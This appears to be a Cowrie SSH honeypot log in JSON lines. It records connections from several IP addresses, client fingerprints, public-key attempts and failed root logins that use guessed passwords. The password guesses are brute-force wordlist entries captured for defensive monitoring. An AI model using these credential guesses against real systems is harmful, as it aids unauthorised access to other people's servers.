{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:40.143976Z","src_ip":"103.122.221.179","session":"273b20faf27d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:41.397748Z","src_ip":"103.122.221.179","session":"273b20faf27d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.49.242","src_port":35430,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c32516d5800","protocol":"ssh","message":"New connection: 148.135.49.242:35430 (10.17.0.5:22) [session: 0c32516d5800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:42.876673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:42.881225Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:42.951813Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:c7:13:2c:a4:40:41:71:06:f4:c4:e1:a4:3e:7d:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDetvVHd1FoNIHu2j2yPSX7SMKkZDkilivLSI7vypJfFnCWFW8177vipxy3aq1n8goWGDs0onTquM6KLZ2fvJviinfeorq8BuM9h6G6dBP3J9FgX1aV+qhhLHjvq1UDvqJ+4/4wc/uaLb9/u1acJxoZH8IwFkt4cJ7i2jJEqY3QBZEGIjpvwcBRL0UXxXTDcZsqFkCOQXElj00bn1H96WTSm306fr1BcUL5mzelFC4SV1vunaIBREQHN0W2VWK/iwFb+JwmzWFSGdiCC3dTsr2pkOP4/RVXT9vWu1dVNDmoG5ow33ohOFQ+PPnSaZcNsSVziPCD7l82qcMqMJrgyPaP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:c7:13:2c:a4:40:41:71:06:f4:c4:e1:a4:3e:7d:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:43.272832Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:c7:13:2c:a4:40:41:71:06:f4:c4:e1:a4:3e:7d:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDetvVHd1FoNIHu2j2yPSX7SMKkZDkilivLSI7vypJfFnCWFW8177vipxy3aq1n8goWGDs0onTquM6KLZ2fvJviinfeorq8BuM9h6G6dBP3J9FgX1aV+qhhLHjvq1UDvqJ+4/4wc/uaLb9/u1acJxoZH8IwFkt4cJ7i2jJEqY3QBZEGIjpvwcBRL0UXxXTDcZsqFkCOQXElj00bn1H96WTSm306fr1BcUL5mzelFC4SV1vunaIBREQHN0W2VWK/iwFb+JwmzWFSGdiCC3dTsr2pkOP4/RVXT9vWu1dVNDmoG5ow33ohOFQ+PPnSaZcNsSVziPCD7l82qcMqMJrgyPaP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:43.277121Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:4e:33:f7:0d:24:85:0f:29:14:40:cf:b2:1b:80:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHgMMJqfKQ+VSJ0Sv7ftXtN3kpk/iMzakjVqaAAr/acwDpgWw8iVLjtsu/6Q3g8hLPbdil1br+keMf652t4AsPShecxEoW2wJbAz+nQJ64fU6ltamMJ9hmiIHEzesoeDPyL2ogCncHX1o2nLQEzRNK3eFfvHVfaQDXI8D9fSeNEc+nTBNG+AthkzYRbjEYrOHE9InuFxTWeg9i6xaU6dKh7ftP/GfRr8vAmdDz6y1vpTvJ8gi8E1XIl4CTHrMuK7zxNbj5fB3b7ToWNNiC0WL7mUrm4r+7LWYeZJCi4V7JK1HZzjNWCb10sQ1sWb2DY6t00//csOWkaqVE8v/U7lR1kgXCgPwvF8VE15ChMfbxKq7h3MBs2QfeyBmzDB4fIMN2Ym+6OlqJUyniwjHRPk61BZVqEtptvxPeEtra+yBJBtj9k6fvDz+Jxvo32/jON8ZLRdXiqPszNi7ElbNTM0HLrWwJJPdiE9t5t/lLGQgolKrJcRFWvHDHxxqzLxGFJtOb9Am5EMpfGwUBzt32W8EUUCYs8O+vyf/QhHB9n8HICvssTlBKlYsylI3EVJBSC9cPXiv+J8jZeg9joIWQDU2fPBrwBsWcAjYmpIF+zYuh4RgToLbnFSYGRCcCQLWDSPgkGK/1tjqfIwR3kVm4ifDVbqZembu7nO+V4tPjvWmc9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:4e:33:f7:0d:24:85:0f:29:14:40:cf:b2:1b:80:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:43.351077Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:4e:33:f7:0d:24:85:0f:29:14:40:cf:b2:1b:80:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHgMMJqfKQ+VSJ0Sv7ftXtN3kpk/iMzakjVqaAAr/acwDpgWw8iVLjtsu/6Q3g8hLPbdil1br+keMf652t4AsPShecxEoW2wJbAz+nQJ64fU6ltamMJ9hmiIHEzesoeDPyL2ogCncHX1o2nLQEzRNK3eFfvHVfaQDXI8D9fSeNEc+nTBNG+AthkzYRbjEYrOHE9InuFxTWeg9i6xaU6dKh7ftP/GfRr8vAmdDz6y1vpTvJ8gi8E1XIl4CTHrMuK7zxNbj5fB3b7ToWNNiC0WL7mUrm4r+7LWYeZJCi4V7JK1HZzjNWCb10sQ1sWb2DY6t00//csOWkaqVE8v/U7lR1kgXCgPwvF8VE15ChMfbxKq7h3MBs2QfeyBmzDB4fIMN2Ym+6OlqJUyniwjHRPk61BZVqEtptvxPeEtra+yBJBtj9k6fvDz+Jxvo32/jON8ZLRdXiqPszNi7ElbNTM0HLrWwJJPdiE9t5t/lLGQgolKrJcRFWvHDHxxqzLxGFJtOb9Am5EMpfGwUBzt32W8EUUCYs8O+vyf/QhHB9n8HICvssTlBKlYsylI3EVJBSC9cPXiv+J8jZeg9joIWQDU2fPBrwBsWcAjYmpIF+zYuh4RgToLbnFSYGRCcCQLWDSPgkGK/1tjqfIwR3kVm4ifDVbqZembu7nO+V4tPjvWmc9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:43.355016Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:8b:a9:a7:be:86:a5:a9:7a:9c:4d:99:56:c0:48:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNYjIvoceLsEuL/H3gojTOX9Ha+nWFYCfSNWe0CFUbdMRMpz+DET9SCIa5pTxCNg0s5ABAc3Ic3zWOSzFELmcPJrbICw32PlenMCpsG6Ai/DG+JNu1ANSjesM5eUO1/OUzhdMDwcNj084RQ2KKXHeU8VI4c/XSzunVtu3Janvys7eOHJXKWJBzBr6sYmpjvdpv105t5JJMUViC9NNOkj9qjHabsYjKk0pw5gZbJcnu4iKejn4+LbmMup+lTjMs2CLDiwuDuVgV8B/N3U6F8375ooYkyJj0Zv+1eqzsrZtuL/1b8osKBKQrgfJm/O5eV6hhiMGz8dsdCMriCPxZbMrOWudjshCOMw25zdgK+Xc2/ns3mB9i3KTpCeMj3xC/ckATRDen/DdoQB4/0py1NPTErzRLs5rTTL625I5yXpRHyMAgD1oVSy2W146Y5kwam+v9IYarbSqry+2oopFiDkq3aDmaRO9g79KLBpWbfgPFL5nqsMGB84fSu4mNCXRJffeszoUVhoa8hpiotGLxjLEkNSZB+BEomMonvbpd/C9X+sQ9am4kM+xRL/WTSVyZ8ndB7CjO8nlCVGB8EruArWwX1o9CJGoyUtDx0VC8whGnbk3rRDQS88esN2RXlzAl6u9/LPtK2zN6hnV/8XiLvb/BkHa2ENwz3dhlyMrQmhlv7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:8b:a9:a7:be:86:a5:a9:7a:9c:4d:99:56:c0:48:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:43.423422Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:8b:a9:a7:be:86:a5:a9:7a:9c:4d:99:56:c0:48:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNYjIvoceLsEuL/H3gojTOX9Ha+nWFYCfSNWe0CFUbdMRMpz+DET9SCIa5pTxCNg0s5ABAc3Ic3zWOSzFELmcPJrbICw32PlenMCpsG6Ai/DG+JNu1ANSjesM5eUO1/OUzhdMDwcNj084RQ2KKXHeU8VI4c/XSzunVtu3Janvys7eOHJXKWJBzBr6sYmpjvdpv105t5JJMUViC9NNOkj9qjHabsYjKk0pw5gZbJcnu4iKejn4+LbmMup+lTjMs2CLDiwuDuVgV8B/N3U6F8375ooYkyJj0Zv+1eqzsrZtuL/1b8osKBKQrgfJm/O5eV6hhiMGz8dsdCMriCPxZbMrOWudjshCOMw25zdgK+Xc2/ns3mB9i3KTpCeMj3xC/ckATRDen/DdoQB4/0py1NPTErzRLs5rTTL625I5yXpRHyMAgD1oVSy2W146Y5kwam+v9IYarbSqry+2oopFiDkq3aDmaRO9g79KLBpWbfgPFL5nqsMGB84fSu4mNCXRJffeszoUVhoa8hpiotGLxjLEkNSZB+BEomMonvbpd/C9X+sQ9am4kM+xRL/WTSVyZ8ndB7CjO8nlCVGB8EruArWwX1o9CJGoyUtDx0VC8whGnbk3rRDQS88esN2RXlzAl6u9/LPtK2zN6hnV/8XiLvb/BkHa2ENwz3dhlyMrQmhlv7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:43.427062Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:39:f0:17:3a:1f:7b:17:dc:ba:87:53:ee:3d:3f:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCXyvvOnXu5OWWAI17pGl0jDtSvD19Hg8LIcg5HFl4n8M/7G8XYkVE4GuMDVmqE3DJHuUhDJYsk097kXD1DugGVAYjgZD7cmZ0ZSLXw8p4UaZKxJVMHuQziLHs7DsxpTwiVcwEflOHzDvxXkcrUiFdOxnKB46OMqaLKAlmUhRMCGru+cxCB0UEQBC4eiydxGRn7qv7mwjInAja+2d/oLcUDhofLa0/M0TpXzZSqoQET3CABm0XDvlf0SU+aUrsPdrc6L3DHlnTxS7g4EOruNB3dyav3v6ZmmFX01+B3vznhvTTqr8FjxjiN9SP+ZVFhDFa+Em0wHRwRukuWYA766XAMstnKdcOahgsmVRatT5Fe6B/+WiAYQWmv1QVKFemO2gLN/TQjzCTQra9sv/CEkjY3qAD2MW5JYzlGb/9Y7u9BgNF+Fx/TkwMntyUB6j9lBFakhoqnz6zlgtIzxCxJObTHClG4GlMUOayMA2JtmL8Bn1+brNXlOQmjkF6dgZojr8zuL3PZHI4P9Xj86iWVtvYJt+VAysWJsluLkyYglNxNljZkzOnUIfhDL92PGPDjX0KqYRb7jCH/Jx1Yu6VUWzqRzhHY0EbwO4X5qOxOVlm7O9cNF+StacTcgd4KFWPWOC7+rl5JaCeIgncQ1Z5rGfHyC/d1FJsdvymeDgxuNcGkqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:39:f0:17:3a:1f:7b:17:dc:ba:87:53:ee:3d:3f:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:43.494639Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:39:f0:17:3a:1f:7b:17:dc:ba:87:53:ee:3d:3f:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCXyvvOnXu5OWWAI17pGl0jDtSvD19Hg8LIcg5HFl4n8M/7G8XYkVE4GuMDVmqE3DJHuUhDJYsk097kXD1DugGVAYjgZD7cmZ0ZSLXw8p4UaZKxJVMHuQziLHs7DsxpTwiVcwEflOHzDvxXkcrUiFdOxnKB46OMqaLKAlmUhRMCGru+cxCB0UEQBC4eiydxGRn7qv7mwjInAja+2d/oLcUDhofLa0/M0TpXzZSqoQET3CABm0XDvlf0SU+aUrsPdrc6L3DHlnTxS7g4EOruNB3dyav3v6ZmmFX01+B3vznhvTTqr8FjxjiN9SP+ZVFhDFa+Em0wHRwRukuWYA766XAMstnKdcOahgsmVRatT5Fe6B/+WiAYQWmv1QVKFemO2gLN/TQjzCTQra9sv/CEkjY3qAD2MW5JYzlGb/9Y7u9BgNF+Fx/TkwMntyUB6j9lBFakhoqnz6zlgtIzxCxJObTHClG4GlMUOayMA2JtmL8Bn1+brNXlOQmjkF6dgZojr8zuL3PZHI4P9Xj86iWVtvYJt+VAysWJsluLkyYglNxNljZkzOnUIfhDL92PGPDjX0KqYRb7jCH/Jx1Yu6VUWzqRzhHY0EbwO4X5qOxOVlm7O9cNF+StacTcgd4KFWPWOC7+rl5JaCeIgncQ1Z5rGfHyC/d1FJsdvymeDgxuNcGkqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:43.498510Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:c0:42:e7:f1:4c:f2:07:d8:89:36:22:c4:67:f0:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjdpAuWoVOysQ9X5JTvwdSkFDoQ4hyG9a+qwASwNdTDCR2jnOO9btOjBVgbNWvIeDm6ERq3hX2zyy20QlTP8mHwhMM0N7sBPymTIONcCrHZA+gB23qoDOoHsI79dZXechfxPNICyhtRh2sg86UU2bLNHsi+Kj4fNBoQK0yDn1lWYGHsKR+tiFJHHYmP5v7k0WCNLSGNOvcq1ISTKYD6XJnquS2RJyhFEzGQeD+jvQVx8FiU6qZaab1xBS+xVRu2aXsESYtfz1O8V9rZ77bVW/4ORfS923lI9JaWcm1242a2AiVbMwto8J0f5CyYaRJdyjLpXNKkvJ2IGInvG0M5miO0PaOfANSVJ8zlBSBRnD6or+IvwgvWBQnGPbNDtW+Eai542YtbPZnnIMMcSnNXRPD+6qfzcxjHNM/FUgabpeGJZQGY5k9ml/RRZ4w2TXEiyJQ8AXCr7VB1sr8SwMrnKVw8TrU0lp4UxTb0pd6DL3EckLiDxDh8CMRMLjCdlwG9UhmXfLpHNOOfMdDm4ET87Q8YForavAWx/MBMCa6wEgoHBLb9bicqhcqAwpKjdA5SPjo9dtq4fFQBziCvxOCwG4gV+zjUS0qQqkMF9/7z0TOh/5GO1kK9qYSBg/fabQb67zm1mU2aKMW1t98Eco/BhlvDEaoPCTYR/w02cN1vAxzQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:c0:42:e7:f1:4c:f2:07:d8:89:36:22:c4:67:f0:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:43.567055Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:c0:42:e7:f1:4c:f2:07:d8:89:36:22:c4:67:f0:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjdpAuWoVOysQ9X5JTvwdSkFDoQ4hyG9a+qwASwNdTDCR2jnOO9btOjBVgbNWvIeDm6ERq3hX2zyy20QlTP8mHwhMM0N7sBPymTIONcCrHZA+gB23qoDOoHsI79dZXechfxPNICyhtRh2sg86UU2bLNHsi+Kj4fNBoQK0yDn1lWYGHsKR+tiFJHHYmP5v7k0WCNLSGNOvcq1ISTKYD6XJnquS2RJyhFEzGQeD+jvQVx8FiU6qZaab1xBS+xVRu2aXsESYtfz1O8V9rZ77bVW/4ORfS923lI9JaWcm1242a2AiVbMwto8J0f5CyYaRJdyjLpXNKkvJ2IGInvG0M5miO0PaOfANSVJ8zlBSBRnD6or+IvwgvWBQnGPbNDtW+Eai542YtbPZnnIMMcSnNXRPD+6qfzcxjHNM/FUgabpeGJZQGY5k9ml/RRZ4w2TXEiyJQ8AXCr7VB1sr8SwMrnKVw8TrU0lp4UxTb0pd6DL3EckLiDxDh8CMRMLjCdlwG9UhmXfLpHNOOfMdDm4ET87Q8YForavAWx/MBMCa6wEgoHBLb9bicqhcqAwpKjdA5SPjo9dtq4fFQBziCvxOCwG4gV+zjUS0qQqkMF9/7z0TOh/5GO1kK9qYSBg/fabQb67zm1mU2aKMW1t98Eco/BhlvDEaoPCTYR/w02cN1vAxzQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:43.570861Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:43.646392Z","src_ip":"148.135.49.242","session":"0c32516d5800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":38860,"dst_ip":"10.17.0.5","dst_port":22,"session":"9493a4b92e29","protocol":"ssh","message":"New connection: 103.75.183.219:38860 (10.17.0.5:22) [session: 9493a4b92e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:52.054769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:52.060136Z","src_ip":"103.75.183.219","session":"9493a4b92e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:52.305516Z","src_ip":"103.75.183.219","session":"9493a4b92e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skorpion","message":"login attempt [root/skorpion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:53.067544Z","src_ip":"103.75.183.219","session":"9493a4b92e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:53.644951Z","src_ip":"46.161.50.109","session":"e9bb287b65d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:54.314874Z","src_ip":"103.75.183.219","session":"9493a4b92e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":35320,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f0f15b96ae0","protocol":"ssh","message":"New connection: 62.133.63.178:35320 (159.203.135.109:22) [session: 7f0f15b96ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:56.301667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:56.306140Z","src_ip":"62.133.63.178","session":"7f0f15b96ae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:56.432299Z","src_ip":"62.133.63.178","session":"7f0f15b96ae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"963852741","message":"login attempt [root/963852741] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:56.820183Z","src_ip":"62.133.63.178","session":"7f0f15b96ae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:57.954375Z","src_ip":"62.133.63.178","session":"7f0f15b96ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.224","src_port":56890,"dst_ip":"10.17.0.5","dst_port":22,"session":"8867e2372728","protocol":"ssh","message":"New connection: 148.153.121.224:56890 (10.17.0.5:22) [session: 8867e2372728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.272581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:59.277701Z","src_ip":"148.153.121.224","session":"8867e2372728","protocol":"ssh"}
